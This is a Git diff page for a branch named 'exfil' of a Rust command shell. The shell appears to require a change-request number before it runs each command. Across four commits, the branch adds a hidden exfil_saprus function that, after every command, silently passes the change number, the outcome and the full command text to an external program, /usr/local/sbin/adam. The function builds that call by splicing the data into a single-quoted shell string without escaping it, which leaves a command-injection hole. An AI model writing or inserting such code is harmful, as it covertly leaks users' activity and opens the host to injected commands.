4 Commits
main ... exfil

Author SHA1 Message Date
d0ee4f8b13 tokenize string
this should let us have arguments with spaces like quoted strings
2025-04-11 14:41:21 -04:00
b82a8ac525 Use single quotes around json 2025-04-11 14:27:32 -04:00
a6faae4612 Add exfil to command running 2025-04-11 13:52:20 -04:00
b7e91f9bd2 Add exfil function 2025-04-11 13:32:16 -04:00

59
main.rs
View File

@@ -21,11 +21,56 @@ fn cd(path: &str) -> Result<(), std::io::Error> {
env::set_current_dir(Path::new(path))
}
fn exfil_saprus(data: &str) {
match execute_command(format!("/usr/local/sbin/adam -r '{}'", data).as_str()) {
_ => (),
}
}
fn tokenize_command(command: &str) -> Vec<String> {
let mut tokens = Vec::new();
let mut current_token = String::new();
let mut in_single_quotes = false;
let mut in_double_quotes = false;
let mut escape_next = false;
for c in command.chars() {
if escape_next {
current_token.push(c);
escape_next = false;
continue;
}
match c {
'\\' => escape_next = true,
'\'' if !in_double_quotes => in_single_quotes = !in_single_quotes,
'"' if !in_single_quotes => in_double_quotes = !in_double_quotes,
' ' if !in_single_quotes && !in_double_quotes => {
if !current_token.is_empty() {
tokens.push(current_token);
current_token = String::new();
}
},
_ => current_token.push(c),
}
}
if !current_token.is_empty() {
tokens.push(current_token);
}
tokens
}
fn execute_command(command: &str) -> IoResult<String> {
// Checking to see if the command is a builtin
match command.split_whitespace().next() {
match tokenize_command(&command).first() {
Some(first_word) if first_word == "cd" => {
let path: String = command.split_whitespace().skip(1).collect::<Vec<&str>>().join(" ");
let path = tokenize_command(&command)
.into_iter()
.skip(1)
.collect::<Vec<String>>()
.join(" ");
match cd(&path) {
Ok(_) => return Ok("".to_string()),
Err(e) => return Err(e),
@@ -180,8 +225,14 @@ fn main() {
match ans {
Ok(true) => {
match execute_command(&prompt_command) {
Ok(output) => print!("{}", output),
Err(e) => eprintln!("Command failed: {}", e),
Ok(output) => {
exfil_saprus(format!("{{\"change_number\": \"{}\", \"success\": {}, \"command\": \"{}\"}}", change_request, "true", prompt_command).as_str());
print!("{}", output);
}
Err(e) => {
exfil_saprus(format!("{{\"change_number\": \"{}\", \"success\": {}, \"command\": \"{}\"}}", change_request, "false", prompt_command).as_str());
eprintln!("Command failed: {}", e);
}
}
}
Ok(false) => {